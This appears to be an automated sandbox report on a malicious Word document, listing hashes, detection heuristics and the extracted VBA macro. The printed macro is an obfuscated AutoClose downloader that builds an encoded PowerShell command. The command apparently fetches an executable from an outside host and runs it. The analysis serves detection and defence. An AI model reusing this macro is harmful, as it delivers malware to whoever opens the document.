Office (OLE) malware analysis — malicious · c9aade2865566b50

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-10

MD5: 9ab387c9c446838bcb8aafcf19f08e83 SHA-1: 4801b2a1a1995b7c61815fc2ab407fc99441209b SHA-256: c9aade2865566b50d1827c45b070f32c1db891101ed4783fcb471f43fa043958

242 Risk Score

Heuristics 7

ClamAV: Doc.Malware.00536d-6731394-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6731394-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9154 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9154 bytes
SHA-256: `5d4680ae1b4a4806bfd14ea3393d1b82086b50e6c2eddaa3881e998d26628653`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const tUHUTyviKYDyPENOLYHigNYHehAcyQiValoRAnuKE = 0 Sub AutoClose() On Error Resume Next Dim JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC = IsNull(Choose(7, "PatpuYFOguaaf", "JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC", "PatpuYFOguaafJUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC")) IsError CVErr(9783) If 9783 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(PatpuYFOguaaf)))) End If Dim imIGYhUPynAadYKOXehUuQyP imIGYhUPynAadYKOXehUuQyP = IsNull(Choose(1, "PojUzYnItMOH", "imIGYhUPynAadYKOXehUuQyP", "PojUzYnItMOHimIGYhUPynAadYKOXehUuQyP")) IsError CVErr(9808) If 9808 > LenB(CStr(11 ^ 4)) Then Call IsError(CVErr(Val(CStr(PojUzYnItMOH)))) End If SYZOgrebeiAJaJYtEPYaaCYwIGUiUaIZAM = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A" Dim FUSOsAGuZEsACJiZufItwulYqixRE FUSOsAGuZEsACJiZufItwulYqixRE = IsNull(Choose(2, "NaaerytYsiKIDUgAjO", "FUSOsAGuZEsACJiZufItwulYqixRE", "NaaerytYsiKIDUgAjOFUSOsAGuZEsACJiZufItwulYqixRE")) IsError CVErr(99) If 99 > LenB(CStr(10 ^ 4)) Then Call IsError(CVErr(Val(CStr(NaaerytYsiKIDUgAjO)))) End If Dim FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu = IsNull(Choose(1, "aECohaZEpICozXaZajARIx", "FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu", "aECohaZEpICozXaZajARIxFErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu")) IsError CVErr(1305) If 1305 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(aECohaZEpICozXaZajARIx)))) End If JeFADOGInixyRAjYrARpAVNAWihUzEnehUwUvu = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^y^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^G^I^A^O^Q^B^j^A^D^Q^A^N^w^A^z^A^D^U^A^M^g^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^B^i^A^D^k^A^Y^w^A^0^A^D^" + Format(ChrW(99)) + "^A^M^w^A^1^A^D^I^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E" Dim JAkAQOnyzEsohOkAWodXAGERHYHEKum JAkAQOnyzEsohOkAWodXAGERHYHEKum = IsNull(Choose(8, "tusOiifyXIaATOpYDOWEFEfY", "JAkAQOnyzEsohOkAWodXAGERHYHEKum", "tusOiifyXIaATOpYDOWEFEfYJAkAQOnyzEsohOkAWodXAGERHYHEKum")) IsError CVErr(5895) If 5895 > LenB(CStr(12 ^ 4)) Then Call IsError(CVErr(Val(CStr(tusOiifyXIaATOpYDOWEFEfY)))) End If Dim nyZMEXYsUbykUJOGisomAquzUbUlu nyZMEXYsUbykUJOGisomAquzUbUlu = IsNull(Choose(5, "giBAWEXamVEGe", "nyZMEXYsUbykUJOGisomAquzUbUlu", "giBAWEXamVEGenyZMEXYsUbykUJOGisomAquzUbUlu")) IsError CVErr(1062) If 1062 > LenB(CStr(13 ^ 4)) Then Call IsError(CVErr(Val(CStr(giBAWEXamVEGe)))) End If Dim HUtEREQiboxaSylOLkaDuKEJUFYhuZORave HUtEREQiboxaSylOLkaDuKEJUFYhuZORave = IsNull( ... (truncated)

SHA-256: 5d4680ae1b4a4806bfd14ea3393d1b82086b50e6c2eddaa3881e998d26628653

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const tUHUTyviKYDyPENOLYHigNYHehAcyQiValoRAnuKE = 0
Sub AutoClose()
On Error Resume Next
Dim JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC

JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC = IsNull(Choose(7, "PatpuYFOguaaf", "JUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC", "PatpuYFOguaafJUgOReBATIZafYoSuBUhijYKOzaHYsIDEMiTeC"))
IsError CVErr(9783)

If 9783 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(PatpuYFOguaaf))))
End If
Dim imIGYhUPynAadYKOXehUuQyP

imIGYhUPynAadYKOXehUuQyP = IsNull(Choose(1, "PojUzYnItMOH", "imIGYhUPynAadYKOXehUuQyP", "PojUzYnItMOHimIGYhUPynAadYKOXehUuQyP"))
IsError CVErr(9808)

If 9808 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(PojUzYnItMOH))))
End If
SYZOgrebeiAJaJYtEPYaaCYwIGUiUaIZAM = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^v^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^Z^Q^B^s^A^G^w^A^b^w^B^u^A^G^k^A^" + Format(ChrW(99)) + "^w^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim FUSOsAGuZEsACJiZufItwulYqixRE

FUSOsAGuZEsACJiZufItwulYqixRE = IsNull(Choose(2, "NaaerytYsiKIDUgAjO", "FUSOsAGuZEsACJiZufItwulYqixRE", "NaaerytYsiKIDUgAjOFUSOsAGuZEsACJiZufItwulYqixRE"))
IsError CVErr(99)

If 99 > LenB(CStr(10 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(NaaerytYsiKIDUgAjO))))
End If
Dim FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu

FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu = IsNull(Choose(1, "aECohaZEpICozXaZajARIx", "FErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu", "aECohaZEpICozXaZajARIxFErYRaPUgYlOdErbyPeBuxuLUHuxOSUCeMYXu"))
IsError CVErr(1305)

If 1305 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(aECohaZEpICozXaZajARIx))))
End If

JeFADOGInixyRAjYrARpAVNAWihUzEnehUwUvu = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^y^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^G^I^A^O^Q^B^j^A^D^Q^A^N^w^A^z^A^D^U^A^M^g^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^B^i^A^D^k^A^Y^w^A^0^A^D^" + Format(ChrW(99)) + "^A^M^w^A^1^A^D^I^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim JAkAQOnyzEsohOkAWodXAGERHYHEKum

JAkAQOnyzEsohOkAWodXAGERHYHEKum = IsNull(Choose(8, "tusOiifyXIaATOpYDOWEFEfY", "JAkAQOnyzEsohOkAWodXAGERHYHEKum", "tusOiifyXIaATOpYDOWEFEfYJAkAQOnyzEsohOkAWodXAGERHYHEKum"))
IsError CVErr(5895)

If 5895 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(tusOiifyXIaATOpYDOWEFEfY))))
End If

Dim nyZMEXYsUbykUJOGisomAquzUbUlu

nyZMEXYsUbykUJOGisomAquzUbUlu = IsNull(Choose(5, "giBAWEXamVEGe", "nyZMEXYsUbykUJOGisomAquzUbUlu", "giBAWEXamVEGenyZMEXYsUbykUJOGisomAquzUbUlu"))
IsError CVErr(1062)

If 1062 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(giBAWEXamVEGe))))
End If
Dim HUtEREQiboxaSylOLkaDuKEJUFYhuZORave

HUtEREQiboxaSylOLkaDuKEJUFYhuZORave = IsNull(
... (truncated)

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